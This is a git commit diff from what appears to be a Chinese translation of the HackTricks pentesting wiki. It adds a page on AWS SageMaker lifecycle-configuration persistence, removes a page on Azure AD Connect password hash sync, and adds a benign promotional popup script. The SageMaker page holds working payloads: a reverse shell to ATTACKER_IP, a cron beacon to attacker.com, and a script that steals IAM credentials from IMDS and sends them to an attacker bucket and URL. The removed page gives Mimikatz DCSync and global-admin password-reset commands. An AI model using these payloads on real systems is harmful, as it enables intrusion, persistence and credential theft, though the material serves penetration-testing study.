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Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
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- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
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- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
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- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
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- [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
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- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
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- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
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- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
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- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
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- [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
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- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
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- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
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- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
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- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
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- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
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- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
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- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
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# AWS - SageMaker 生命周期配置持久性
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|
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## 持久性技术概述
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|
||||
本节概述了通过滥用生命周期配置（LCCs）在 SageMaker 中获得持久性的方法，包括反向 shell、cron 作业、通过 IMDS 进行的凭证窃取和 SSH 后门。这些脚本以实例的 IAM 角色运行，并可以在重启后保持持久性。大多数技术需要出站网络访问，但在 AWS 控制平面上使用服务仍然可以在环境处于“仅 VPC”模式时取得成功。
|
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#### 注意：SageMaker 笔记本实例本质上是专门为机器学习工作负载配置的托管 EC2 实例。
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|
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## 所需权限
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* 笔记本实例：
|
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```
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sagemaker:CreateNotebookInstanceLifecycleConfig
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sagemaker:UpdateNotebookInstanceLifecycleConfig
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sagemaker:CreateNotebookInstance
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sagemaker:UpdateNotebookInstance
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```
|
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* Studio Applications:
|
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```
|
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sagemaker:CreateStudioLifecycleConfig
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sagemaker:UpdateStudioLifecycleConfig
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sagemaker:UpdateUserProfile
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sagemaker:UpdateSpace
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sagemaker:UpdateDomain
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```
|
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## 设置笔记本实例的生命周期配置
|
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|
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### 示例 AWS CLI 命令：
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```bash
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# Create Lifecycle Configuration*
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aws sagemaker create-notebook-instance-lifecycle-config \
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--notebook-instance-lifecycle-config-name attacker-lcc \
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--on-start Content=$(base64 -w0 reverse_shell.sh)
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# Attach Lifecycle Configuration to Notebook Instance*
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aws sagemaker update-notebook-instance \
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--notebook-instance-name victim-instance \
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--lifecycle-config-name attacker-lcc
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```
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## 在 SageMaker Studio 上设置生命周期配置
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|
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生命周期配置可以在不同级别和不同应用类型的 SageMaker Studio 中附加。
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### Studio 域级别（所有用户）
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```bash
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# Create Studio Lifecycle Configuration*
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-studio-lcc \
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--studio-lifecycle-config-app-type JupyterServer \
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--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
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# Apply LCC to entire Studio Domain*
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|
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aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
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"JupyterServerAppSettings": {
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"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
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}
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}'
|
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```
|
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### Studio Space Level (个人或共享空间)
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```bash
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# Update SageMaker Studio Space to attach LCC*
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|
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aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
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"JupyterServerAppSettings": {
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"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
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}
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}'
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```
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## Studio 应用程序生命周期配置的类型
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生命周期配置可以具体应用于不同的 SageMaker Studio 应用程序类型：
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* JupyterServer: 在 Jupyter 服务器启动期间运行脚本，适合用于持久性机制，如反向 shell 和 cron 作业。
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* KernelGateway: 在内核网关应用程序启动期间执行，适用于初始设置或持久访问。
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* CodeEditor: 应用于代码编辑器 (Code-OSS)，启用在代码编辑会话开始时执行的脚本。
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### 每种类型的示例命令：
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### JupyterServer
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-jupyter-lcc \
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--studio-lifecycle-config-app-type JupyterServer \
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--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
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```
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### KernelGateway
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-kernelgateway-lcc \
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--studio-lifecycle-config-app-type KernelGateway \
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--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
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```
|
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### 代码编辑器
|
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
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--studio-lifecycle-config-app-type CodeEditor \
|
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--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
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```
|
||||
### 关键信息：
|
||||
* 在域或空间级别附加LCC会影响范围内的所有用户或应用程序。
|
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* 需要更高的权限（sagemaker:UpdateDomain, sagemaker:UpdateSpace），通常在空间级别比在域级别更可行。
|
||||
* 网络级别的控制（例如，严格的出口过滤）可以防止成功的反向Shell或数据外泄。
|
||||
|
||||
## 通过生命周期配置进行反向Shell
|
||||
|
||||
SageMaker生命周期配置（LCC）在笔记本实例启动时执行自定义脚本。具有权限的攻击者可以建立持久的反向Shell。
|
||||
|
||||
### 有效载荷示例：
|
||||
```
|
||||
#!/bin/bash
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||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
攻击者可以通过 LCC 脚本注入 cron 作业，确保恶意脚本或命令的定期执行，从而实现隐秘的持久性。
|
||||
|
||||
### Payload Example:
|
||||
```
|
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#!/bin/bash
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PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
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CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
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CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
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echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
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chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
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||||
```
|
||||
## 通过 IMDS (v1 & v2) 进行凭证外泄
|
||||
|
||||
生命周期配置可以查询实例元数据服务 (IMDS) 以检索 IAM 凭证并将其外泄到攻击者控制的位置。
|
||||
|
||||
### 有效载荷示例：
|
||||
```bash
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||||
#!/bin/bash
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||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
|
||||
-114
@@ -1,114 +0,0 @@
|
||||
# Az - PHS - 密码哈希同步
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。 **Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
这是公司用来将本地 AD 与 Azure AD 同步的 **最常见方法**。
|
||||
|
||||
所有 **用户** 和 **密码哈希的哈希值** 都从本地同步到 Azure AD。然而，**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。\
|
||||
此外，**内置** 安全组（如域管理员...）不会 **同步** 到 Azure AD。
|
||||
|
||||
**哈希同步** 每 **2 分钟** 发生一次。然而，默认情况下，**密码过期** 和 **帐户** **过期** 在 Azure AD 中 **不同步**。因此，**本地密码已过期**（未更改）的用户可以继续使用旧密码 **访问 Azure 资源**。
|
||||
|
||||
当本地用户想要访问 Azure 资源时，**身份验证在 Azure AD 上进行**。
|
||||
|
||||
**PHS** 是 **身份保护** 和 AAD 域服务等功能所必需的。
|
||||
|
||||
## 侧向移动
|
||||
|
||||
当配置 PHS 时，一些 **特权帐户** 会自动 **创建**：
|
||||
|
||||
- 帐户 **`MSOL_<installationID>`** 会自动在本地 AD 中创建。该帐户被赋予 **目录同步帐户** 角色（请参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)），这意味着它在本地 AD 中具有 **复制（DCSync）权限**。
|
||||
- 帐户 **`Sync_<name of on-prem ADConnect Server>_installationID`** 在 Azure AD 中创建。该帐户可以 **重置 Azure AD 中任何用户**（同步或仅云）的密码。
|
||||
|
||||
前两个特权帐户的密码 **存储在 SQL 服务器** 上，该服务器是 **Azure AD Connect 安装的服务器**。管理员可以提取这些特权用户的明文密码。\
|
||||
数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`。
|
||||
|
||||
可以从其中一个表中提取配置，其中一个是加密的：
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**加密配置** 使用 **DPAPI** 加密，包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此，妥协这些密码可以提升到 AD 和 AzureAD 的权限。
|
||||
|
||||
您可以在 [此演讲中找到有关这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
|
||||
|
||||
### 查找 **Azure AD Connect 服务器**
|
||||
|
||||
如果 **安装 Azure AD Connect 的服务器** 加入了域（文档中推荐），可以通过以下方式找到它：
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### 滥用 MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 您还可以使用 [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) 来获取这些凭据。
|
||||
|
||||
### 滥用 Sync\_\*
|
||||
|
||||
妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**（包括全局管理员）。
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
也可以**仅修改云**用户的密码（即使这出乎意料）
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
可以导出该用户的密码。
|
||||
|
||||
> [!CAUTION]
|
||||
> 另一个选项是**为服务主体分配特权权限**，而**Sync**用户有**权限**这样做，然后**访问该服务主体**作为特权提升的方法。
|
||||
|
||||
### 无缝单点登录
|
||||
|
||||
可以使用PHS进行无缝单点登录，这对其他滥用是脆弱的。请查看：
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+101
@@ -1,3 +1,104 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
backdrop-filter: blur(6px);
|
||||
display: flex; justify-content: center; align-items: center;
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
box-shadow: 0 8px 24px rgba(0,0,0,.35);
|
||||
font-family: system-ui, sans-serif;
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
`);
|
||||
|
||||
const link = $('a', `
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
display: block;
|
||||
`);
|
||||
link.href = URL;
|
||||
link.target = '_blank';
|
||||
link.rel = 'noopener noreferrer';
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
color: #fff; font-size: 1.4rem; line-height: 1;
|
||||
cursor: pointer; padding: 0; margin: 0;
|
||||
`);
|
||||
closeBtn.setAttribute('aria-label', 'Close');
|
||||
closeBtn.textContent = '✕';
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
`);
|
||||
const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2';
|
||||
cb.onchange = () => {
|
||||
if (cb.checked) {
|
||||
localStorage.setItem(KEY, 'true');
|
||||
overlay.remove();
|
||||
}
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
|
||||
} else {
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* HackTricks AI Chat Widget v1.16 – resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
|
||||
Reference in New Issue
Block a user